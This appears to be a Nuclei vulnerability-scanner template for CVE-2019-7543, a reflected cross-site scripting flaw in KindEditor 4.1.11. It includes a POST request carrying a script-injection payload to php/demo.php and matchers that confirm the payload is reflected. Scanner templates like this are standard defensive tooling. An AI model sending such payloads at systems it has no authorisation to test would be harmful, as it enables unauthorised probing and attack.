id: CVE-2019-7543

info:
  name: KindEditor 4.1.11 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
  remediation: |
    Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
    epss-score: 0.00113
    epss-percentile: 0.44613
    cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kindsoft
    product: kindeditor
  tags: cve,cve2019,kindeditor,xss

http:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'

    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

# digest: 4a0a0047304502204e8e16c2b230540706d462b90cd94d4e975024b89ef367173b73f7b55c43e7ef022100c1c04db69ae7bc89f1d39ddca9771b5cf254b2dabf68ea4fce33546d185e7f1d:922c64590222798bb761d5b6d8e72950